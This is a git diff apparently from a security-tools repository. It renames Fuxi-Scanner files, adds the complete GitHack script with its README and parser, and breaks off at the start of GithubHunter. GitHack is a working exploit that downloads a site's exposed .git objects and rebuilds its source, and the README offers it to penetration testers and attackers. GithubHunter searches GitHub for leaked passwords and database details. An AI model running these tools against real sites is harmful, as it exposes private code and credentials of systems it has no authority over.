a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/404.html b/Fuxi-Scanner/fuxi/templates/404.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/404.html rename to Fuxi-Scanner/fuxi/templates/404.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/500.html b/Fuxi-Scanner/fuxi/templates/500.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/500.html rename to Fuxi-Scanner/fuxi/templates/500.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-scanner.html b/Fuxi-Scanner/fuxi/templates/acunetix-scanner.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-scanner.html rename to Fuxi-Scanner/fuxi/templates/acunetix-scanner.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-tasks.html b/Fuxi-Scanner/fuxi/templates/acunetix-tasks.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-tasks.html rename to Fuxi-Scanner/fuxi/templates/acunetix-tasks.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/advanced-option.html b/Fuxi-Scanner/fuxi/templates/advanced-option.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/advanced-option.html rename to Fuxi-Scanner/fuxi/templates/advanced-option.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-management.html b/Fuxi-Scanner/fuxi/templates/asset-management.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-management.html rename to Fuxi-Scanner/fuxi/templates/asset-management.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-services.html b/Fuxi-Scanner/fuxi/templates/asset-services.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-services.html rename to Fuxi-Scanner/fuxi/templates/asset-services.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/auth-tester-tasks.html b/Fuxi-Scanner/fuxi/templates/auth-tester-tasks.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/auth-tester-tasks.html rename to Fuxi-Scanner/fuxi/templates/auth-tester-tasks.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/base.html b/Fuxi-Scanner/fuxi/templates/base.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/base.html rename to Fuxi-Scanner/fuxi/templates/base.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/dashboard.html b/Fuxi-Scanner/fuxi/templates/dashboard.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/dashboard.html rename to Fuxi-Scanner/fuxi/templates/dashboard.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/index.html b/Fuxi-Scanner/fuxi/templates/index.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/index.html rename to Fuxi-Scanner/fuxi/templates/index.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/login.html b/Fuxi-Scanner/fuxi/templates/login.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/login.html rename to Fuxi-Scanner/fuxi/templates/login.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-asset.html b/Fuxi-Scanner/fuxi/templates/new-asset.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-asset.html rename to Fuxi-Scanner/fuxi/templates/new-asset.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-auth-tester.html b/Fuxi-Scanner/fuxi/templates/new-auth-tester.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-auth-tester.html rename to Fuxi-Scanner/fuxi/templates/new-auth-tester.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-scan.html b/Fuxi-Scanner/fuxi/templates/new-scan.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-scan.html rename to Fuxi-Scanner/fuxi/templates/new-scan.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/plugin-management.html b/Fuxi-Scanner/fuxi/templates/plugin-management.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/plugin-management.html rename to Fuxi-Scanner/fuxi/templates/plugin-management.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/port-scanner.html b/Fuxi-Scanner/fuxi/templates/port-scanner.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/port-scanner.html rename to Fuxi-Scanner/fuxi/templates/port-scanner.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/search.html b/Fuxi-Scanner/fuxi/templates/search.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/search.html rename to Fuxi-Scanner/fuxi/templates/search.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-brute.html b/Fuxi-Scanner/fuxi/templates/subdomain-brute.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-brute.html rename to Fuxi-Scanner/fuxi/templates/subdomain-brute.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-list.html b/Fuxi-Scanner/fuxi/templates/subdomain-list.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-list.html rename to Fuxi-Scanner/fuxi/templates/subdomain-list.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/system-config.html b/Fuxi-Scanner/fuxi/templates/system-config.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/system-config.html rename to Fuxi-Scanner/fuxi/templates/system-config.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/task-management.html b/Fuxi-Scanner/fuxi/templates/task-management.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/task-management.html rename to Fuxi-Scanner/fuxi/templates/task-management.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/vulnerability.html b/Fuxi-Scanner/fuxi/templates/vulnerability.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/vulnerability.html rename to Fuxi-Scanner/fuxi/templates/vulnerability.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/week-passwd-list.html b/Fuxi-Scanner/fuxi/templates/week-passwd-list.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/week-passwd-list.html rename to Fuxi-Scanner/fuxi/templates/week-passwd-list.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/__init__.py b/Fuxi-Scanner/fuxi/views/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/__init__.py rename to Fuxi-Scanner/fuxi/views/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/acunetix_scanner.py b/Fuxi-Scanner/fuxi/views/acunetix_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/acunetix_scanner.py rename to Fuxi-Scanner/fuxi/views/acunetix_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/asset_management.py b/Fuxi-Scanner/fuxi/views/asset_management.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/asset_management.py rename to Fuxi-Scanner/fuxi/views/asset_management.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/auth_tester.py b/Fuxi-Scanner/fuxi/views/auth_tester.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/auth_tester.py rename to Fuxi-Scanner/fuxi/views/auth_tester.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/authenticate.py b/Fuxi-Scanner/fuxi/views/authenticate.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/authenticate.py rename to Fuxi-Scanner/fuxi/views/authenticate.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/dashboard.py b/Fuxi-Scanner/fuxi/views/dashboard.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/dashboard.py rename to Fuxi-Scanner/fuxi/views/dashboard.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/index.py b/Fuxi-Scanner/fuxi/views/index.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/index.py rename to Fuxi-Scanner/fuxi/views/index.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/__init__.py b/Fuxi-Scanner/fuxi/views/lib/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/__init__.py rename to Fuxi-Scanner/fuxi/views/lib/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/get_title.py b/Fuxi-Scanner/fuxi/views/lib/get_title.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/get_title.py rename to Fuxi-Scanner/fuxi/views/lib/get_title.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/mongo_db.py b/Fuxi-Scanner/fuxi/views/lib/mongo_db.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/mongo_db.py rename to Fuxi-Scanner/fuxi/views/lib/mongo_db.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/parse_target.py b/Fuxi-Scanner/fuxi/views/lib/parse_target.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/parse_target.py rename to Fuxi-Scanner/fuxi/views/lib/parse_target.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/__init__.py b/Fuxi-Scanner/fuxi/views/modules/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/__init__.py b/Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/awvs_api.py b/Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/awvs_api.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/awvs_api.py rename to Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/awvs_api.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/__init__.py b/Fuxi-Scanner/fuxi/views/modules/auth_tester/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/auth_tester/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/auth_scanner.py b/Fuxi-Scanner/fuxi/views/modules/auth_tester/auth_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/auth_scanner.py rename to Fuxi-Scanner/fuxi/views/modules/auth_tester/auth_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/hydra_plugin.py b/Fuxi-Scanner/fuxi/views/modules/auth_tester/hydra_plugin.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/hydra_plugin.py rename to Fuxi-Scanner/fuxi/views/modules/auth_tester/hydra_plugin.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/__init__.py b/Fuxi-Scanner/fuxi/views/modules/discovery/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/discovery/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/asset_discovery.py b/Fuxi-Scanner/fuxi/views/modules/discovery/asset_discovery.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/asset_discovery.py rename to Fuxi-Scanner/fuxi/views/modules/discovery/asset_discovery.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/__init__.py b/Fuxi-Scanner/fuxi/views/modules/port_scanner/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/port_scanner/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/nmap_scanner.py b/Fuxi-Scanner/fuxi/views/modules/port_scanner/nmap_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/nmap_scanner.py rename to Fuxi-Scanner/fuxi/views/modules/port_scanner/nmap_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/__init__.py b/Fuxi-Scanner/fuxi/views/modules/scanner/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/scanner/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/parse_plugin.py b/Fuxi-Scanner/fuxi/views/modules/scanner/parse_plugin.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/parse_plugin.py rename to Fuxi-Scanner/fuxi/views/modules/scanner/parse_plugin.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/poc_scanner.py b/Fuxi-Scanner/fuxi/views/modules/scanner/poc_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/poc_scanner.py rename to Fuxi-Scanner/fuxi/views/modules/scanner/poc_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/__init__.py b/Fuxi-Scanner/fuxi/views/modules/subdomain/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/subdomain/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/domain_brute.py b/Fuxi-Scanner/fuxi/views/modules/subdomain/domain_brute.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/domain_brute.py rename to Fuxi-Scanner/fuxi/views/modules/subdomain/domain_brute.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/plugin_management.py b/Fuxi-Scanner/fuxi/views/plugin_management.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/plugin_management.py rename to Fuxi-Scanner/fuxi/views/plugin_management.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/port_scanner.py b/Fuxi-Scanner/fuxi/views/port_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/port_scanner.py rename to Fuxi-Scanner/fuxi/views/port_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/settings.py b/Fuxi-Scanner/fuxi/views/settings.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/settings.py rename to Fuxi-Scanner/fuxi/views/settings.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/subdomain_brute.py b/Fuxi-Scanner/fuxi/views/subdomain_brute.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/subdomain_brute.py rename to Fuxi-Scanner/fuxi/views/subdomain_brute.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/vul_scanner.py b/Fuxi-Scanner/fuxi/views/vul_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/vul_scanner.py rename to Fuxi-Scanner/fuxi/views/vul_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi_scanner.py b/Fuxi-Scanner/fuxi_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi_scanner.py rename to Fuxi-Scanner/fuxi_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/migration/DataModels b/Fuxi-Scanner/migration/DataModels similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/migration/DataModels rename to Fuxi-Scanner/migration/DataModels diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/migration/start.py b/Fuxi-Scanner/migration/start.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/migration/start.py rename to Fuxi-Scanner/migration/start.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/requirements.txt b/Fuxi-Scanner/requirements.txt similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/requirements.txt rename to Fuxi-Scanner/requirements.txt diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/run.sh b/Fuxi-Scanner/run.sh similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/run.sh rename to Fuxi-Scanner/run.sh diff --git a/GitHack-master/GitHack.py b/GitHack-master/GitHack.py new file mode 100644 index 0000000..4f419e7 --- /dev/null +++ b/GitHack-master/GitHack.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python +# -*- encoding: utf-8 -*- + +import sys +import urllib2 +import os +import urlparse +import zlib +import threading +import Queue +import re +import time +from lib.parser import parse + + +if len(sys.argv) == 1: + msg = """ + +A `.git` folder disclosure exploit. By LiJieJie + +Usage: GitHack.py http://www.target.com/.git/ + +bug-report: my[at]lijiejie.com (http://www.lijiejie.com) +""" + print msg + sys.exit(0) + + +class Scanner(object): + def __init__(self): + self.base_url = sys.argv[-1] + self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_') + if not os.path.exists(self.domain): + os.mkdir(self.domain) + print '[+] Download and parse index file ...' + data = urllib2.urlopen(sys.argv[-1] + '/index').read() + with open('index', 'wb') as f: + f.write(data) + self.queue = Queue.Queue() + for entry in parse('index'): + if "sha1" in entry.keys(): + self.queue.put((entry["sha1"].strip(), entry["name"].strip())) + self.lock = threading.Lock() + self.thread_count = 20 + self.STOP_ME = False + + def get_back_file(self): + while not self.STOP_ME: + try: + sha1, file_name = self.queue.get(timeout=0.5) + except: + break + for i in range(3): + try: + folder = '/objects/%s/' % sha1[:2] + data = urllib2.urlopen(self.base_url + folder + sha1[2:]).read() + data = zlib.decompress(data) + data = re.sub('blob \d+\00', '', data) + target_dir = os.path.join(self.domain, os.path.dirname(file_name) ) + if target_dir and not os.path.exists(target_dir): + os.makedirs(target_dir) + with open( os.path.join(self.domain, file_name) , 'wb') as f: + f.write(data) + self.lock.acquire() + print '[OK] %s' % file_name + self.lock.release() + break + except urllib2.HTTPError, e: + if str(e).find('HTTP Error 404') >=0: break + except Exception, e: + pass + self.exit_thread() + + def exit_thread(self): + self.lock.acquire() + self.thread_count -= 1 + self.lock.release() + + def scan(self): + for i in range(self.thread_count): + t = threading.Thread(target=self.get_back_file) + t.start() + + +s = Scanner() +s.scan() +try: + while s.thread_count > 0: + time.sleep(0.1) +except KeyboardInterrupt, e: + s.STOP_ME = True + time.sleep(1.0) + print 'User Aborted.' \ No newline at end of file diff --git a/GitHack-master/README.md b/GitHack-master/README.md new file mode 100644 index 0000000..10577e8 --- /dev/null +++ b/GitHack-master/README.md @@ -0,0 +1,38 @@ +GitHack += + +GitHack is a `.git` folder disclosure exploit. + +It rebuild source code from .git folder while keep directory structure unchanged. + +GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。 + +渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。 + +## 脚本的工作原理 ## + +* 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) +* 去.git/objects/ 文件夹下下载对应的文件 +* zlib解压文件,按原始的目录结构写入源代码 + +## 它的优点 ## + +* 速度快,默认20个工作线程 +* 尽量还原所有的源代码,缺失部分文件不影响脚本工作 +* 脚本不需要执行额外的git命令,All you need is python +* 脚本无需浏览目录 + +## 可能的改进## + +* 存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码 + +##用法示例## + GitHack.py http://www.openssl.org/.git/ + +##反馈## +* my[at]lijiejie.com +* [http://www.lijiejie.com](http://www.lijiejie.com) + +##Thanks## +Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin) + diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/__init__.py b/GitHack-master/lib/__init__.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/__init__.py rename to GitHack-master/lib/__init__.py diff --git a/GitHack-master/lib/__init__.pyc b/GitHack-master/lib/__init__.pyc new file mode 100644 index 0000000000000000000000000000000000000000..d51dde9c3fa377719d33b4e138cbd5663ea7a6e3 GIT binary patch literal 128 zcmZSn%*$0(VIP{z00oRd+5w1*S%5?e14FO|NW@PANHCxg#hO4d7poZ0K+i}|z2y9q z)TG4X)EM{75|6~>?3kR)q?q{l%)HE!_;|g7$`THsYMb2rl+v73JCK>hK+FIDF2NZ2 literal 0 HcmV?d00001 diff --git a/GitHack-master/lib/parser.py b/GitHack-master/lib/parser.py new file mode 100644 index 0000000..1b717fd --- /dev/null +++ b/GitHack-master/lib/parser.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python +# +# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt +# + +import binascii +import collections +import mmap +import struct +import sys + + +def check(boolean, message): + if not boolean: + import sys + print "error: " + message + sys.exit(1) + + +def parse(filename, pretty=True): + with open(filename, "rb") as o: + f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) + + def read(format): + # "All binary numbers are in network byte order." + # Hence "!" = network order, big endian + format = "! " + format + bytes = f.read(struct.calcsize(format)) + return struct.unpack(format, bytes)[0] + + index = collections.OrderedDict() + + # 4-byte signature, b"DIRC" + index["signature"] = f.read(4).decode("ascii") + check(index["signature"] == "DIRC", "Not a Git index file") + + # 4-byte version number + index["version"] = read("I") + check(index["version"] in {2, 3}, + "Unsupported version: %s" % index["version"]) + + # 32-bit number of index entries, i.e. 4-byte + index["entries"] = read("I") + + yield index + + for n in range(index["entries"]): + entry = collections.OrderedDict() + + entry["entry"] = n + 1 + + entry["ctime_seconds"] = read("I") + entry["ctime_nanoseconds"] = read("I") + if pretty: + entry["ctime"] = entry["ctime_seconds"] + entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000 + del entry["ctime_seconds"] + del entry["ctime_nanoseconds"] + + entry["mtime_seconds"] = read("I") + entry["mtime_nanoseconds"] = read("I") + if pretty: + entry["mtime"] = entry["mtime_seconds"] + entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000 + del entry["mtime_seconds"] + del entry["mtime_nanoseconds"] + + entry["dev"] = read("I") + entry["ino"] = read("I") + + # 4-bit object type, 3-bit unused, 9-bit unix permission + entry["mode"] = read("I") + if pretty: + entry["mode"] = "%06o" % entry["mode"] + + entry["uid"] = read("I") + entry["gid"] = read("I") + entry["size"] = read("I") + + entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii") + entry["flags"] = read("H") + + # 1-bit assume-valid + entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8)) + # 1-bit extended, must be 0 in version 2 + entry["extended"] = bool(entry["flags"] & (0b01000000 << 8)) + # 2-bit stage (?) + stage_one = bool(entry["flags"] & (0b00100000 << 8)) + stage_two = bool(entry["flags"] & (0b00010000 << 8)) + entry["stage"] = stage_one, stage_two + # 12-bit name length, if the length is less than 0xFFF (else, 0xFFF) + namelen = entry["flags"] & 0xFFF + + # 62 bytes so far + entrylen = 62 + + if entry["extended"] and (index["version"] == 3): + entry["extra-flags"] = read("H") + # 1-bit reserved + entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8)) + # 1-bit skip-worktree + entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8)) + # 1-bit intent-to-add + entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8)) + # 13-bits unused + # used = entry["extra-flags"] & (0b11100000 << 8) + # check(not used, "Expected unused bits in extra-flags") + entrylen += 2 + + if namelen < 0xFFF: + entry["name"] = f.read(namelen).decode("utf-8", "replace") + entrylen += namelen + else: + # Do it the hard way + name = [] + while True: + byte = f.read(1) + if byte == "\x00": + break + name.append(byte) + entry["name"] = b"".join(name).decode("utf-8", "replace") + entrylen += 1 + + padlen = (8 - (entrylen % 8)) or 8 + nuls = f.read(padlen) + check(set(nuls) == set(['\x00']), "padding contained non-NUL") + + yield entry + + f.close() + + + + + diff --git a/GitHack-master/lib/parser.pyc b/GitHack-master/lib/parser.pyc new file mode 100644 index 0000000000000000000000000000000000000000..080e36f33ebf3d6334076a609c51b4d89751d2ae GIT binary patch literal 3062 zcmb7G+inv_82)G1afo9lCV@DHwir-~B?yPo0;PebA_yW?X>m#^Q7W|Aog|akyJlw$ zNo7l|sCu~Sb$i)|=qps}3-qRM(FdU4|8Hy&qh1j39KMP4u19$hA!swd==s$y9XH_brn_a-S2v|1Kg(A_gVgHuVte0>;BL6B!`%`V_6Rdkc~w+nN-UkkzJT9Z{A>tq zoEQsBUwHJ(N)DDf#RjsO9=(8lu-z9BCVT2`{YvzMcvh<4y> zY{3M+&hw&+NQ}~gJ94n9Mn`BDT*p|Z>LO-^{RD0j~ZcMICQWbKSzE1q!$SeBgsXIbZnJQf{JPN9TXzZtk_S4uaN*^n}JVjNW zjscSiz7${@S{|q4*L}gK=oTMO(=Fu1A?7nf%qto5KZN;A#%nfXK1+S(l|#&DGUk=n znOBFHpBUPo%!DZ~dW%@UlW<}-FAVGX_7LeiL;F*RPl0yE`+=@;;10za{7+{@XC$cD zp9N7-B%g&vH)xS_0{FX!@DB%g{Sbar@ZKoB!sDY1Lqd&G_XusGHo@;a$?*S*0xuR7%@ON6M>DhSsT}5B=^(n@k_ek1 zRIV#icY?QAK=77Cos0N-R>XPK-_w8S5nFhan}K?S*7@Ko46F5z(QH;6_rY|-U?i8v z5QHJxUC2GM--D;Iw%0JAAE5U_u1Zr~vCQps zO$14!m!_NQAQG|GrJc~hB=pIk8Cvs=7Q7R;(M_{%&FXC?X)AEjPdE0Rwslq%QgKqp zKyT8O8{Ft;nTR=)Ur@8k@KYe{0~;EH&V^&M6$h@9YEgMJsJw=eekQYt6S201cg?a- z<}P1LyyhhyNOPOF;}~!?4d#Wlkfs{1>@yu%d0cl*d;WQn?z&WK zK}-zJZr&yHK@?eL+HsrnH^k+sZa0H43v3*;viR}q3sF@JZIGCFs|LTjz{ChzoW%1h z4?i{ZEmWdK9%?*5;~}g*1qR}jqzwhwSFKjimbB(vfrr_ePww2gySnsYb2+)U^3=B3wmZ_77J|8m=^&-U z;d_$AIx8gEx#x-ap8X9kWYOnL$ELwWoT-cI&ZGqq-(pkaPSZ-2OVu|d+~c?qSFrzz4E=lZGd*UO-8An))_JQtGh?jpUy{Hu@jQR8tKA literal 0 HcmV?d00001 diff --git a/Github-Hunter-master/GithubHunter.py b/Github-Hunter-master/GithubHunter.py new file mode 100644 index 0000000..9beb3c8 --- /dev/null +++ b/Github-Hunter-master/GithubHunter.py @@ -0,0 +1,219 @@ +# -*- coding: utf-8 -*- + +import configparser +import os +import re +import smtplib +import sqlite3 +import sys +import traceback +from email import encoders +from email.header import Header +from email.mime.base import MIMEBase +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +from email.utils import formataddr, parseaddr +from time import gmtime, sleep, strftime + +import requests +from lxml import etree +from lxml.html import tostring +from tqdm import tqdm + + +''' +工具名:GithubHunter +作者:Allen_Zhang +主要用途:本工具主要是查询Github中可能泄露的代码,用户名,密码,数据库信息,网络结构信息等 +实现方法:通过登陆Github后,搜索关键词,然后呈现数据 +''' + +def login_github(username,password):#登陆Github + #初始化参数 + login_url = 'https://github.com/login' + session_url = 'https://github.com/session' + try: + #获取session + s = requests.session() + resp = s.get(login_url).text + dom_tree = etree.HTML(resp) + key = dom_tree.xpath('//input[@name="authenticity_token"]/@value') + user_data = { + 'commit': 'Sign in', + 'utf8': '✓', + 'authenticity_token': key, + 'login': username, + 'password': password + } + #发送数据并登陆 + s.post(session_url,data=user_data) + s.get('https://github.com/settings/profile') + return s + except Exception as e: + print('产生异常,请检查网络设置及用户名和密码') + error_Record(str(e), traceback.format_exc()) + +def hunter(gUser, gPass, keywords):#根据关键词获取想要查询的内容 + + print('''\033[1;34;0m ##### # # + # # # ##### # # # # ##### # # # # # # ##### ###### ##### + # # # # # # # # # # # # # ## # # 